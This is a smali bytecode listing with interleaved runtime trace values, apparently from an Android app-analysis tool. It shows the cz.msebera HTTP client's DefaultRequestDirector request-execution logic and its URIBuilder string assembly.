        123iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        125invoke-interface {v6}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->isOpen()Z
        • Time: 1302480
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter@aa262c3
          • Return:
            • false
        126move-result v6
        127if-eqz v6, :cond_cb
        129iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        131const-string v7, "Stale connection check"
        133invoke-virtual {v6, v7}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        135iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        137invoke-interface {v6}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->isStale()Z
        138move-result v6
        139if-eqz v6, :cond_cb
        141iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        143const-string v7, "Stale connection detected"
        145invoke-virtual {v6, v7}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        147iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        149invoke-interface {v6}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->close()V
        150goto/16 :goto_cb
        151catch_be:
        152invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
        153move-result-object p1
        155invoke-virtual {p1}, Ljava/lang/Thread;->interrupt()V
        156new-instance p1, Ljava/io/InterruptedIOException;
        158invoke-direct {p1}, Ljava/io/InterruptedIOException;-><init>()V
        159throw p1
        160cond_cb: instance-of v6, p2, Lcz/msebera/android/httpclient/client/methods/AbortableHttpRequest;
        161if-eqz v6, :cond_d7
        162move-object v6, p2
        163check-cast v6, Lcz/msebera/android/httpclient/client/methods/AbortableHttpRequest;
        165iget-object v7, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        167invoke-interface {v6, v7}, Lcz/msebera/android/httpclient/client/methods/AbortableHttpRequest;->setReleaseTrigger(Lcz/msebera/android/httpclient/conn/ConnectionReleaseTrigger;)V
        168cond_d7:
        169invoke-direct {p0, v2, p3}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->tryConnect(Lcz/msebera/android/httpclient/impl/client/RoutedRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        170try_end_da:
        171invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->getURI()Ljava/net/URI;
        172move-result-object v6
        174invoke-virtual {v6}, Ljava/net/URI;->getUserInfo()Ljava/lang/String;
        175move-result-object v6
        176if-eqz v6, :cond_f3
        178iget-object v7, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        179new-instance v8, Lcz/msebera/android/httpclient/impl/auth/BasicScheme;
        181invoke-direct {v8}, Lcz/msebera/android/httpclient/impl/auth/BasicScheme;-><init>()V
        182new-instance v9, Lcz/msebera/android/httpclient/auth/UsernamePasswordCredentials;
        184invoke-direct {v9, v6}, Lcz/msebera/android/httpclient/auth/UsernamePasswordCredentials;-><init>(Ljava/lang/String;)V
        186invoke-virtual {v7, v8, v9}, Lcz/msebera/android/httpclient/auth/AuthState;->update(Lcz/msebera/android/httpclient/auth/AuthScheme;Lcz/msebera/android/httpclient/auth/Credentials;)V
        187cond_f3:
        188iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->virtualHost:Lcz/msebera/android/httpclient/HttpHost;
        189if-eqz v6, :cond_fa
        191iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->virtualHost:Lcz/msebera/android/httpclient/HttpHost;
        192goto/16 :goto_108
        193cond_fa:
        194invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->getURI()Ljava/net/URI;
        195move-result-object v6
        197invoke-virtual {v6}, Ljava/net/URI;->isAbsolute()Z
        198move-result v7
        199if-eqz v7, :cond_108
        201invoke-static {v6}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->extractHost(Ljava/net/URI;)Lcz/msebera/android/httpclient/HttpHost;
        202move-result-object v3
        203goto_108: if-nez v3, :cond_10e
        205invoke-virtual {v4}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        206move-result-object v3
        207cond_10e:
        208invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->resetHeaders()V
        210invoke-virtual {p0, v0, v4}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->rewriteRequestURI(Lcz/msebera/android/httpclient/impl/client/RequestWrapper;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)V
        212const-string v6, "http.target_host"
        214invoke-interface {p3, v6, v3}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        216const-string v6, "http.route"
        218invoke-interface {p3, v6, v4}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        220const-string v4, "http.connection"
        222iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        224invoke-interface {p3, v4, v6}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        226iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->requestExec:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        228iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->httpProcessor:Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        230invoke-virtual {v4, v0, v6, p3}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->preProcess(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpProcessor;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        232invoke-direct {p0, v2, p3}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->tryExecute(Lcz/msebera/android/httpclient/impl/client/RoutedRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/HttpResponse;
        233move-result-object v0
        234if-nez v0, :cond_134
        235goto/16 :goto_60
        236cond_134:
        237iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        239invoke-interface {v0, p1}, Lcz/msebera/android/httpclient/HttpResponse;->setParams(Lcz/msebera/android/httpclient/params/HttpParams;)V
        241iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->requestExec:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        243iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->httpProcessor:Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        245invoke-virtual {p1, v0, v4, p3}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->postProcess(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpProcessor;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        247iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->reuseStrategy:Lcz/msebera/android/httpclient/ConnectionReuseStrategy;
        249invoke-interface {p1, v0, p3}, Lcz/msebera/android/httpclient/ConnectionReuseStrategy;->keepAlive(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        250move-result p1
        251if-eqz p1, :cond_197
        253iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->keepAliveStrategy:Lcz/msebera/android/httpclient/conn/ConnectionKeepAliveStrategy;
        255invoke-interface {v4, v0, p3}, Lcz/msebera/android/httpclient/conn/ConnectionKeepAliveStrategy;->getKeepAliveDuration(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)J
        256move-result-wide v6
        258iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        260invoke-virtual {v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        261move-result v4
        262if-eqz v4, :cond_190
        263const-wide/16 v8, 0x0
        264cmp-long v4, v6, v8
        265if-lez v4, :cond_178
        266new-instance v4, Ljava/lang/StringBuilder;
        268invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        270const-string v8, "for "
        272invoke-virtual {v4, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        274invoke-virtual {v4, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        276const-string v8, " "
        278invoke-virtual {v4, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        280sget-object v8, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
        282invoke-virtual {v4, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        284invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        285move-result-object v4
        286goto/16 :goto_17a
        287cond_178:
        288const-string v4, "indefinitely"
        289goto_17a:
        290iget-object v8, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        291new-instance v9, Ljava/lang/StringBuilder;
        293invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
        295const-string v10, "Connection can be kept alive "
        297invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        299invoke-virtual {v9, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        301invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        302move-result-object v4
        304invoke-virtual {v8, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        305cond_190:
        306iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        308sget-object v8, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
        310invoke-interface {v4, v6, v7, v8}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->setIdleDuration(JLjava/util/concurrent/TimeUnit;)V
        311cond_197:
        312invoke-virtual {p0, v2, v0, p3}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->handleResponse(Lcz/msebera/android/httpclient/impl/client/RoutedRequest;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/impl/client/RoutedRequest;
        313move-result-object v4
        314if-nez v4, :cond_1a0
        315const/4 v1, 0x1
        316goto/16 :goto_222
        317cond_1a0: if-eqz p1, :cond_1af
        319invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        320move-result-object v6
        322invoke-static {v6}, Lcz/msebera/android/httpclient/util/EntityUtils;->consume(Lcz/msebera/android/httpclient/HttpEntity;)V
        324iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        326invoke-interface {v6}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->markReusable()V
        327goto/16 :goto_210
        328cond_1af:
        329iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        331invoke-interface {v6}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->close()V
        333iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        335invoke-virtual {v6}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        336move-result-object v6
        338sget-object v7, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->CHALLENGED:Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        340invoke-virtual {v6, v7}, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->compareTo(Ljava/lang/Enum;)I
        341move-result v6
        342if-lez v6, :cond_1e2
        344iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        346invoke-virtual {v6}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        347move-result-object v6
        348if-eqz v6, :cond_1e2
        350iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        352invoke-virtual {v6}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        353move-result-object v6
        355invoke-interface {v6}, Lcz/msebera/android/httpclient/auth/AuthScheme;->isConnectionBased()Z
        356move-result v6
        357if-eqz v6, :cond_1e2
        359iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        361const-string v7, "Resetting proxy auth state"
        363invoke-virtual {v6, v7}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        365iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        367invoke-virtual {v6}, Lcz/msebera/android/httpclient/auth/AuthState;->reset()V
        368cond_1e2:
        369iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        371invoke-virtual {v6}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        372move-result-object v6
        374sget-object v7, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->CHALLENGED:Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        376invoke-virtual {v6, v7}, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->compareTo(Ljava/lang/Enum;)I
        377move-result v6
        378if-lez v6, :cond_210
        380iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        382invoke-virtual {v6}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        383move-result-object v6
        384if-eqz v6, :cond_210
        386iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        388invoke-virtual {v6}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        389move-result-object v6
        391invoke-interface {v6}, Lcz/msebera/android/httpclient/auth/AuthScheme;->isConnectionBased()Z
        392move-result v6
        393if-eqz v6, :cond_210
        395iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        397const-string v7, "Resetting target auth state"
        399invoke-virtual {v6, v7}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        401iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        403invoke-virtual {v6}, Lcz/msebera/android/httpclient/auth/AuthState;->reset()V
        404cond_210:
        405invoke-virtual {v4}, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        406move-result-object v6
        408invoke-virtual {v2}, Lcz/msebera/android/httpclient/impl/client/RoutedRequest;->getRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        409move-result-object v2
        411invoke-virtual {v6, v2}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->equals(Ljava/lang/Object;)Z
        412move-result v2
        413if-nez v2, :cond_221
        415invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->releaseConnection()V
        416cond_221: move-object v2, v4
        417goto_222:
        418iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        419if-eqz v4, :cond_60
        420if-nez v5, :cond_233
        422iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->userTokenHandler:Lcz/msebera/android/httpclient/client/UserTokenHandler;
        424invoke-interface {v4, p3}, Lcz/msebera/android/httpclient/client/UserTokenHandler;->getUserToken(Lcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/lang/Object;
        425move-result-object v5
        427const-string v4, "http.user-token"
        429invoke-interface {p3, v4, v5}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        430cond_233: if-eqz v5, :cond_60
        432iget-object v4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        434invoke-interface {v4, v5}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->setState(Ljava/lang/Object;)V
        435goto/16 :goto_60
        436catch_23c: move-exception p2
        438iget-object p3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        440invoke-virtual {p3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        441move-result p3
        442if-eqz p3, :cond_24e
        444iget-object p3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        446invoke-virtual {p2}, Lcz/msebera/android/httpclient/impl/client/TunnelRefusedException;->getMessage()Ljava/lang/String;
        447move-result-object v0
        449invoke-virtual {p3, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        450cond_24e:
        451invoke-virtual {p2}, Lcz/msebera/android/httpclient/impl/client/TunnelRefusedException;->getResponse()Lcz/msebera/android/httpclient/HttpResponse;
        452move-result-object v0
        453goto/16 :goto_25b
        454catch_253: move-exception p1
        455goto/16 :goto_288
        456catch_255: move-exception p1
        457goto/16 :goto_28c
        458catch_257: move-exception p1
        459goto/16 :goto_290
        460catch_259: move-exception p1
        461goto/16 :goto_294
        462cond_25b: if-eqz v0, :cond_27d
        464invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        465move-result-object p2
        466if-eqz p2, :cond_27d
        468invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        469move-result-object p2
        471invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpEntity;->isStreaming()Z
        • Time: 1304854
          • This:
            • java.lang.String@83314a9
          • p0: [C@1ea3c
          • p0: Content-Type: application/json
          • p1: 14
          • p2: 16
          • Return:
            • java.lang.String@83314a9
        • Time: 1304865
          • This:
            • Content-Type: application/json
          • Return:
            • java.lang.String@83314a9
        • Time: 1304853
          • This:
            • [Content-Type: application/json,Content-Length: 243,Chunked: false]
          • Return:
            • true
        472move-result p2
        473if-nez p2, :cond_26e
        474goto/16 :goto_27d
        475cond_26e:
        476invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        477move-result-object p2
        478new-instance p3, Lcz/msebera/android/httpclient/conn/BasicManagedEntity;
        480iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        482invoke-direct {p3, p2, v1, p1}, Lcz/msebera/android/httpclient/conn/BasicManagedEntity;-><init>(Lcz/msebera/android/httpclient/HttpEntity;Lcz/msebera/android/httpclient/conn/ManagedClientConnection;Z)V
        484invoke-interface {v0, p3}, Lcz/msebera/android/httpclient/HttpResponse;->setEntity(Lcz/msebera/android/httpclient/HttpEntity;)V
        485goto/16 :goto_287
        486cond_27d: if-eqz p1, :cond_284
        488iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        490invoke-interface {p1}, Lcz/msebera/android/httpclient/conn/ManagedClientConnection;->markReusable()V
        491cond_284:
        492invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->releaseConnection()V
        493goto_287: return-object v0
        494goto_288:
        495invoke-direct {p0}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->abortConnection()V
        496throw p1
        497goto_28c:
        498invoke-direct {p0}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->abortConnection()V
        499throw p1
        500goto_290:
        501invoke-direct {p0}, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->abortConnection()V
        502throw p1
        503goto_294: new-instance p2, Ljava/io/InterruptedIOException;
        505const-string p3, "Connection has been shut down"
        507invoke-direct {p2, p3}, Ljava/io/InterruptedIOException;-><init>(Ljava/lang/String;)V
        509invoke-virtual {p2, p1}, Ljava/io/InterruptedIOException;->initCause(Ljava/lang/Throwable;)Ljava/lang/Throwable;
        510throw p2
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • cz.msebera.android.httpclient.client.utils.URIBuilder.normalizePath
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • //
        • @
        • [
        • ]
        • :
        • java.lang.String@3986b65
        • java.lang.String@3986b65
        • ?
        • #
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->scheme:Ljava/lang/String;
        5if-eqz v1, :cond_13
        7iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->scheme:Ljava/lang/String;
        9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        10const/16 v1, 0x3a
        12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        13cond_13:
        14iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodedSchemeSpecificPart:Ljava/lang/String;
        15if-eqz v1, :cond_1e
        17iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodedSchemeSpecificPart:Ljava/lang/String;
        19invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        20goto/16 :goto_d5
        21cond_1e:
        22iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodedAuthority:Ljava/lang/String;
        23if-eqz v1, :cond_2d
        25const-string v1, "//"
        27invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        29iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodedAuthority:Ljava/lang/String;
        31invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        32goto/16 :goto_82
        33cond_2d:
        34iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->host:Ljava/lang/String;
        35if-eqz v1, :cond_82
        37const-string v1, "//"
        39invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        41iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodedUserInfo:Ljava/lang/String;
        42if-eqz v1, :cond_45
        44iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodedUserInfo:Ljava/lang/String;
        46invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        48const-string v1, "@"
        50invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        51goto/16 :goto_57
        52cond_45:
        53iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->userInfo:Ljava/lang/String;
        54if-eqz v1, :cond_57
        56iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->userInfo:Ljava/lang/String;
        58invoke-direct {p0, v1}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodeUserInfo(Ljava/lang/String;)Ljava/lang/String;
        59move-result-object v1
        61invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        63const-string v1, "@"
        65invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        66goto_57:
        67iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->host:Ljava/lang/String;
        69invoke-static {v1}, Lcz/msebera/android/httpclient/conn/util/InetAddressUtils;->isIPv6Address(Ljava/lang/String;)Z
        70move-result v1
        71if-eqz v1, :cond_6f
        73const-string v1, "["
        75invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        77iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->host:Ljava/lang/String;
        79invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        81const-string v1, "]"
        83invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        84goto/16 :goto_74
        85cond_6f:
        86iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->host:Ljava/lang/String;
        88invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        89goto_74: iget v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->port:I
        90if-ltz v1, :cond_82
        92const-string v1, ":"
        94invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        95iget v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->port:I
        97invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        98cond_82:
        99iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodedPath:Ljava/lang/String;
        100if-eqz v1, :cond_90
        102iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodedPath:Ljava/lang/String;
        104invoke-static {v1}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->normalizePath(Ljava/lang/String;)Ljava/lang/String;
        • Time: 1303124
          • p0: java.lang.String@3986b65
          • Return:
            • java.lang.String@3986b65
        105move-result-object v1
        107invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        108goto/16 :goto_a1
        109cond_90:
        110iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->path:Ljava/lang/String;
        111if-eqz v1, :cond_a1
        113iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->path:Ljava/lang/String;
        115invoke-static {v1}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->normalizePath(Ljava/lang/String;)Ljava/lang/String;
        116move-result-object v1
        118invoke-direct {p0, v1}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodePath(Ljava/lang/String;)Ljava/lang/String;
        119move-result-object v1
        121invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        122goto_a1:
        123iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodedQuery:Ljava/lang/String;
        124if-eqz v1, :cond_b0
        126const-string v1, "?"
        128invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        130iget-object v1, p0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->encodedQuery:Ljava/lang/String;
